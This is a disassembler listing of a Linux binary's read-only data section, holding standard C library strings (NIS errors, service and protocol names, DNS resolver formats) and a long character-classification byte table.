aCanTCommunicat	db 'Can',27h,'t communicate with portmapper',0 ; DATA XREF: sub_805DE9C+C8o
aCanTCommunic_0	db 'Can',27h,'t communicate with ypbind',0 ; DATA XREF: sub_805DE9C+D4o
aCanTCommunic_1	db 'Can',27h,'t communicate with ypserv',0 ; DATA XREF: sub_805DE9C+E0o
aLocalDomainNam	db 'Local domain name not set',0 ; DATA XREF: sub_805DE9C+ECo
aServerDataBase	db 'Server data base is bad',0 ; DATA XREF: sub_805DE9C+F8o
aYpServerVersio	db 'YP server version mismatch - server can',27h,'t supply servi'
					; DATA XREF: sub_805DE9C+104o
		db 'ce.',0
aAccessViolatio	db 'Access violation',0 ; DATA XREF: sub_805DE9C+110o
aDatabaseIsBusy	db 'Database is busy',0 ; DATA XREF: sub_805DE9C+11Co
aYpUnknownError	db 'YP unknown error %d',0Ah,0 ; DATA XREF: sub_805DE9C+129o
aNone		db '(none)',0           ; DATA XREF: sub_805E0A8+2Ao
aC_1		db 'C',0                ; DATA XREF: sub_805E110+7Eo
aNlspath	db 'NLSPATH',0          ; DATA XREF: sub_805E110+88o
aEtcLocaleLN_ca	db '/etc/locale/%L/%N.cat:/usr/lib/locale/%L/%N.cat:/usr/lib/loc'
					; DATA XREF: sub_805E110+9Bo
		db 'ale/%N/%L:/usr/share/locale/%L/%N.cat:/usr/local/share/local'
		db 'e/%L/%N.cat',0
asc_806940E	db ':',0                ; DATA XREF: sub_805E110+129o
aNazgul		db '*nazgul*',0         ; DATA XREF: sub_805E640+98o
aMessageCatalog	db 'Message Catalog System',0 ; DATA XREF: sub_805E640+C1o
					; sub_805E640+EAo ...
aSCorruptFile_	db '%s: corrupt file.',0Ah,0 ; DATA XREF: sub_805E640+1BDo
aSSIsVersionDWe	db '%s: %s is version %d, we need %d.',0Ah,0 ; DATA XREF: sub_805E640+C6o
aSSHasDSets	db '%s: %s has %d sets!',0Ah,0 ; DATA XREF: sub_805E640+EFo
aSNoMoreMemory_	db '%s: no more memory.',0Ah,0 ; DATA XREF: sub_805E640+134o
unk_8069490	db    0	;		; DATA XREF: sub_805E954+Co
aLibc		db 'libc',0             ; DATA XREF: sub_805E954+1Ao
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_805E984+17o
aRje		db 'rje',0              ; DATA XREF: sub_805E9B8+2B4o
aEcho		db 'echo',0             ; DATA XREF: sub_805E9B8+2C0o
aDiscard	db 'discard',0          ; DATA XREF: sub_805E9B8+2CCo
aSystat		db 'systat',0           ; DATA XREF: sub_805E9B8+2D8o
aDaytime	db 'daytime',0          ; DATA XREF: sub_805E9B8+2E4o
aNetstat	db 'netstat',0          ; DATA XREF: sub_805E9B8+2F0o
aQotd		db 'qotd',0             ; DATA XREF: sub_805E9B8+2FCo
aChargen	db 'chargen',0          ; DATA XREF: sub_805E9B8+308o
aFtpData	db 'ftp-data',0         ; DATA XREF: sub_805E9B8+314o
aFtp		db 'ftp',0              ; DATA XREF: sub_805E9B8+320o
aTelnet		db 'telnet',0           ; DATA XREF: sub_805E9B8+32Co
aSmtp		db 'smtp',0             ; DATA XREF: sub_805E9B8+338o
aTime		db 'time',0             ; DATA XREF: sub_805E9B8+344o
aRlp		db 'rlp',0              ; DATA XREF: sub_805E9B8+350o
aName		db 'name',0             ; DATA XREF: sub_805E9B8+35Co
aWhois		db 'whois',0            ; DATA XREF: sub_805E9B8+368o
aDomain_0	db 'domain',0           ; DATA XREF: sub_805E9B8+374o
aApts		db 'apts',0             ; DATA XREF: sub_805E9B8+380o
aApfs		db 'apfs',0             ; DATA XREF: sub_805E9B8+38Co
aBootps		db 'bootps',0           ; DATA XREF: sub_805E9B8+398o
aBootpc		db 'bootpc',0           ; DATA XREF: sub_805E9B8+3A4o
aTftp		db 'tftp',0             ; DATA XREF: sub_805E9B8+3B0o
aFinger		db 'finger',0           ; DATA XREF: sub_805E9B8+3BCo
aLink		db 'link',0             ; DATA XREF: sub_805E9B8+3C8o
aSupdup		db 'supdup',0           ; DATA XREF: sub_805E9B8+3D4o
aNewacct	db 'newacct',0          ; DATA XREF: sub_805E9B8+3E0o
aHostnames	db 'hostnames',0        ; DATA XREF: sub_805E9B8+3ECo
aIsoTsap	db 'iso-tsap',0         ; DATA XREF: sub_805E9B8+3F8o
aX400		db 'x400',0             ; DATA XREF: sub_805E9B8+404o
aX400Snd	db 'x400-snd',0         ; DATA XREF: sub_805E9B8+410o
aCsnetNs	db 'csnet-ns',0         ; DATA XREF: sub_805E9B8+41Co
aPop2		db 'pop-2',0            ; DATA XREF: sub_805E9B8+428o
aSunrpc		db 'sunrpc',0           ; DATA XREF: sub_805E9B8+434o
aAuth		db 'auth',0             ; DATA XREF: sub_805E9B8+440o
aSftp		db 'sftp',0             ; DATA XREF: sub_805E9B8+44Co
aUucpPath	db 'uucp-path',0        ; DATA XREF: sub_805E9B8+458o
aNntp		db 'nntp',0             ; DATA XREF: sub_805E9B8+464o
aErpc		db 'erpc',0             ; DATA XREF: sub_805E9B8+470o
aNtp		db 'ntp',0              ; DATA XREF: sub_805E9B8+47Co
aStatsrv	db 'statsrv',0          ; DATA XREF: sub_805E9B8+488o
aProfile	db 'profile',0          ; DATA XREF: sub_805E9B8+494o
aNews		db 'NeWS',0             ; DATA XREF: sub_805E9B8+4A0o
aSnmp		db 'snmp',0             ; DATA XREF: sub_805E9B8+4ACo
aSnmpTrap	db 'snmp-trap',0        ; DATA XREF: sub_805E9B8+4B8o
aPrintSrv	db 'print-srv',0        ; DATA XREF: sub_805E9B8+4C4o
aD_0		db '%d',0               ; DATA XREF: sub_805E9B8+4D1o
					; sub_805EEA4+F1o ...
aIcmp		db 'icmp',0             ; DATA XREF: sub_805EEA4+60o
aIgmp		db 'igmp',0             ; DATA XREF: sub_805EEA4+6Co
aGgp		db 'ggp',0              ; DATA XREF: sub_805EEA4+78o
aSt		db 'st',0               ; DATA XREF: sub_805EEA4+84o
aTcp		db 'tcp',0              ; DATA XREF: sub_805EEA4+90o
aUcl		db 'ucl',0              ; DATA XREF: sub_805EEA4+9Co
aEgp		db 'egp',0              ; DATA XREF: sub_805EEA4+A8o
aIgp		db 'igp',0              ; DATA XREF: sub_805EEA4+B4o
aNvpIi		db 'nvp-II',0           ; DATA XREF: sub_805EEA4+C0o
aPup		db 'pup',0              ; DATA XREF: sub_805EEA4+CCo
aChaos		db 'chaos',0            ; DATA XREF: sub_805EEA4+D8o
aUdp		db 'udp',0              ; DATA XREF: sub_805EEA4+E4o
aResOptions	db ';; res options:',0  ; DATA XREF: sub_805F170+Co
aS_0		db ' %s',0              ; DATA XREF: sub_805F170+34o
aHeaderOpcodeSS	db ';; ->>HEADER<<- opcode: %s, status: %s, id: %d',0
					; DATA XREF: sub_805F1DC+8Ao
aFlags		db '; flags:',0         ; DATA XREF: sub_805F1DC+FFo
aQr		db ' qr',0              ; DATA XREF: sub_805F1DC+119o
aAa		db ' aa',0              ; DATA XREF: sub_805F1DC+133o
aTc		db ' tc',0              ; DATA XREF: sub_805F1DC+14Do
aRd		db ' rd',0              ; DATA XREF: sub_805F1DC+167o
aRa		db ' ra',0              ; DATA XREF: sub_805F1DC+181o
aQuesD		db '; Ques: %d',0       ; DATA XREF: sub_805F1DC+1B7o
aAnsD		db ', Ans: %d',0        ; DATA XREF: sub_805F1DC+1D7o
aAuthD		db ', Auth: %d',0       ; DATA XREF: sub_805F1DC+1F7o
aAdditD		db ', Addit: %d',0      ; DATA XREF: sub_805F1DC+217o
aQuestions	db ';; QUESTIONS:',0Ah,0 ; DATA XREF: sub_805F1DC+27Eo
asc_806969E	db ';;',9,0             ; DATA XREF: sub_805F1DC+2A6o
aTypeS		db ', type = %s',0      ; DATA XREF: sub_805F1DC+34Ao
aClassS		db ', class = %s',0Ah,0 ; DATA XREF: sub_805F1DC+38Bo
aAnswers	db ';; ANSWERS:',0Ah,0  ; DATA XREF: sub_805F1DC+3E0o
aAuthorityRecor	db ';; AUTHORITY RECORDS:',0Ah,0 ; DATA XREF: sub_805F1DC+412o
aAdditionalReco	db ';; ADDITIONAL RECORDS:',0Ah,0 ; DATA XREF: sub_805F1DC+444o
a___truncated	db 0Ah			; DATA XREF: sub_805F1DC+474o
		db ';; ...truncated',0Ah,0
a___malformed	db 0Ah			; DATA XREF: sub_805F1DC+47Co
		db ';; ...malformed',0Ah,0
aLu		db 9,'%lu',0            ; DATA XREF: sub_805F7E4+9Eo
aS_1		db 9,'%s',0             ; DATA XREF: sub_805F7E4+C5o
					; sub_805F7E4+DDo ...
aSProtoDPortD	db 9,'%s',9,'; proto %d, port %d',0 ; DATA XREF: sub_805F7E4+2FFo
a_S		db 9,'%.*s',0           ; DATA XREF: sub_805F7E4+34Ao
					; sub_805F7E4+369o
aWarningOsTypeM	db 0Ah			; DATA XREF: sub_805F7E4+38Ao
		db ';; *** Warning *** OS-type missing',0
asc_8069767	db ' (',0Ah,0           ; DATA XREF: sub_805F7E4+412o
aLuSerial	db 9,9,9,'%lu',9,'; serial',0Ah,0 ; DATA XREF: sub_805F7E4+428o
aLuRefreshS	db 9,9,9,'%lu',9,'; refresh (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+446o
aLuRetryS	db 9,9,9,'%lu',9,'; retry (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+467o
aLuExpireS	db 9,9,9,'%lu',9,'; expire (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+485o
aLuMinimumS	db 9,9,9,'%lu )',9,'; minimum (%s)',0 ; DATA XREF: sub_805F7E4+4A6o
aD_1		db 9,'%d ',0            ; DATA XREF: sub_805F7E4+4C8o
					; sub_805F7E4+4F8o
asc_80697DB	db 9,'"',0              ; DATA XREF: sub_805F7E4+531o
aU		db 9,'%u',0             ; DATA XREF: sub_805F7E4+6C5o
aSS		db 9,'%s %s ( ',0       ; DATA XREF: sub_805F7E4+70Co
asc_80697EC	db 0Ah			; DATA XREF: sub_805F7E4+73Do
		db 9,9,9,0
a?D?		db 9,'?%d?',0           ; DATA XREF: sub_805F7E4+7C4o
aPacketSizeErro	db ';; packet size error (found %d, dlen was %d)',0Ah,0
					; DATA XREF: sub_805F7E4+804o
aA		db 'A',0                ; DATA XREF: sub_8060004+418o
aNs		db 'NS',0               ; DATA XREF: sub_8060004+424o
aCname		db 'CNAME',0            ; DATA XREF: sub_8060004+430o
aSoa		db 'SOA',0              ; DATA XREF: sub_8060004+43Co
aMb		db 'MB',0               ; DATA XREF: sub_8060004+448o
aMg		db 'MG',0               ; DATA XREF: sub_8060004+454o
aMr		db 'MR',0               ; DATA XREF: sub_8060004+460o
aNull_0		db 'NULL',0             ; DATA XREF: sub_8060004+46Co
aWks		db 'WKS',0              ; DATA XREF: sub_8060004+478o
aPtr		db 'PTR',0              ; DATA XREF: sub_8060004+484o
aHinfo		db 'HINFO',0            ; DATA XREF: sub_8060004+490o
aMinfo		db 'MINFO',0            ; DATA XREF: sub_8060004+49Co
aMx		db 'MX',0               ; DATA XREF: sub_8060004+4A8o
aTxt		db 'TXT',0              ; DATA XREF: sub_8060004+4B4o
aRp		db 'RP',0               ; DATA XREF: sub_8060004+4C0o
aAfsdb		db 'AFSDB',0            ; DATA XREF: sub_8060004+4CCo
aX25		db 'X25',0              ; DATA XREF: sub_8060004+4D8o
aIsdn		db 'ISDN',0             ; DATA XREF: sub_8060004+4E4o
aRt		db 'RT',0               ; DATA XREF: sub_8060004+4F0o
aNsap		db 'NSAP',0             ; DATA XREF: sub_8060004+4FCo
aNsap_ptr	db 'NSAP_PTR',0         ; DATA XREF: sub_8060004+508o
aSig		db 'SIG',0              ; DATA XREF: sub_8060004+514o
aKey		db 'KEY',0              ; DATA XREF: sub_8060004+520o
aPx		db 'PX',0               ; DATA XREF: sub_8060004+52Co
aGpos		db 'GPOS',0             ; DATA XREF: sub_8060004+538o
aAaaa		db 'AAAA',0             ; DATA XREF: sub_8060004+544o
aLoc		db 'LOC',0              ; DATA XREF: sub_8060004+550o
aAxfr		db 'AXFR',0             ; DATA XREF: sub_8060004+55Co
aMailb		db 'MAILB',0            ; DATA XREF: sub_8060004+568o
aMaila		db 'MAILA',0            ; DATA XREF: sub_8060004+574o
aAny		db 'ANY',0              ; DATA XREF: sub_8060004+580o
					; sub_80605D0+38o
aUinfo		db 'UINFO',0            ; DATA XREF: sub_8060004+58Co
aUid		db 'UID',0              ; DATA XREF: sub_8060004+598o
aGid		db 'GID',0              ; DATA XREF: sub_8060004+5A4o
aIn		db 'IN',0               ; DATA XREF: sub_80605D0+20o
aHs		db 'HS',0               ; DATA XREF: sub_80605D0+2Co
aInit		db 'init',0             ; DATA XREF: sub_8060630+A0o
aDebug_1	db 'debug',0            ; DATA XREF: sub_8060630+ACo
aAaonlyUnimpl	db 'aaonly(unimpl)',0   ; DATA XREF: sub_8060630+B8o
aUsevc		db 'usevc',0            ; DATA XREF: sub_8060630+C4o
aPrimryUnimpl	db 'primry(unimpl)',0   ; DATA XREF: sub_8060630+D0o
aIgntc		db 'igntc',0            ; DATA XREF: sub_8060630+DCo
aRecurs		db 'recurs',0           ; DATA XREF: sub_8060630+E8o
aDefnam		db 'defnam',0           ; DATA XREF: sub_8060630+F4o
aStyopn		db 'styopn',0           ; DATA XREF: sub_8060630+100o
aDnsrch		db 'dnsrch',0           ; DATA XREF: sub_8060630+10Co
aInsecure1	db 'insecure1',0        ; DATA XREF: sub_8060630+118o
aInsecure2	db 'insecure2',0        ; DATA XREF: sub_8060630+124o
a?0xLx?		db '?0x%lx?',0          ; DATA XREF: sub_8060630+131o
dword_806992F	dd 65732030h		; DATA XREF: sub_806077C+10r
word_8069933	dw 7363h		; DATA XREF: sub_806077C+1Ar
byte_8069935	db 0			; DATA XREF: sub_806077C+26r
unk_8069936	db    0	;		; DATA XREF: sub_806077C+6Bo
					; sub_806077C+9Co ...
unk_8069937	db  73h	; s		; DATA XREF: sub_806077C+61o
					; sub_806077C+92o ...
		db    0	;  
aDDayS		db '%d day%s',0         ; DATA XREF: sub_806077C+72o
aDHourS		db '%d hour%s',0        ; DATA XREF: sub_806077C+A3o
aDMinS		db '%d min%s',0         ; DATA XREF: sub_806077C+E1o
aDSecS		db '%d sec%s',0         ; DATA XREF: sub_806077C+131o
aZoneref	db 'ZONEREF',0          ; DATA XREF: .data:08078FE8o
aZoneinit	db 'ZONEINIT',0         ; DATA XREF: .data:08078FE4o
aUpdatema	db 'UPDATEMA',0         ; DATA XREF: .data:08078FE0o
aUpdatem	db 'UPDATEM',0          ; DATA XREF: .data:08078FDCo
aUpdateda	db 'UPDATEDA',0         ; DATA XREF: .data:08078FD8o
aUpdated	db 'UPDATED',0          ; DATA XREF: .data:08078FD4o
aUpdatea	db 'UPDATEA',0          ; DATA XREF: .data:08078FD0o
a8765		db '8',0,'7',0,'6',0,'5',0 ; DATA XREF: .data:08078FCCo
					; .data:0807900Co ...
aNotify		db 'NOTIFY',0           ; DATA XREF: .data:08078FBCo
aCqueryu	db 'CQUERYU',0          ; DATA XREF: .data:08078FB8o
aCquerym	db 'CQUERYM',0          ; DATA XREF: .data:08078FB4o
aIquery		db 'IQUERY',0           ; DATA XREF: .data:08078FB0o
aQuery		db 'QUERY',0
aNochange	db 'NOCHANGE',0         ; DATA XREF: .data:08079028o
a14		db '14',0               ; DATA XREF: .data:08079024o
a13		db '13',0               ; DATA XREF: .data:08079020o
a12		db '12',0               ; DATA XREF: .data:0807901Co
a11		db '11',0               ; DATA XREF: .data:08079018o
a10		db '10',0               ; DATA XREF: .data:08079014o
a9		db '9',0                ; DATA XREF: .data:08079010o
aRefused	db 'REFUSED',0          ; DATA XREF: .data:08079000o
aNotimp		db 'NOTIMP',0           ; DATA XREF: .data:08078FFCo
aNxdomain	db 'NXDOMAIN',0         ; DATA XREF: .data:08078FF8o
aServfail	db 'SERVFAIL',0         ; DATA XREF: .data:08078FF4o
aFormerr	db 'FORMERR',0          ; DATA XREF: .data:08078FF0o
aNoerror	db 'NOERROR',0
aRes_mkqueryDSD	db ';; res_mkquery(%d, %s, %d, %d)',0Ah,0 ; DATA XREF: sub_80608C8+51o
a00000000000000	db '                0000000000000000',0 ; DATA XREF: sub_8062534+13o
asc_8069A51	db ': ',0               ; DATA XREF: sub_80625DC+2Co
aSSS		db '%s%s%s',0Ah,0       ; DATA XREF: sub_80625DC+59o
aUnknownError	db 'Unknown error',0    ; DATA XREF: sub_80625DC+6Do
aSSSD		db '%s%s%s %d',0Ah,0    ; DATA XREF: sub_80625DC+87o
a0123456789abcd	db '0123456789abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: vfprintf+E7Co
					; vfprintf+28CEo ...
a0123456789ab_0	db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: vfprintf+E8Fo
					; vfprintf+28EBo ...
		align 4
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    3	;  
		db  20h	;  
		db    2	;  
		db  20h	;  
		db    2	;  
		db  20h	;  
		db    2	;  
		db  20h	;  
		db    2	;  
		db  20h	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    1	;  
		db  60h	; `
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
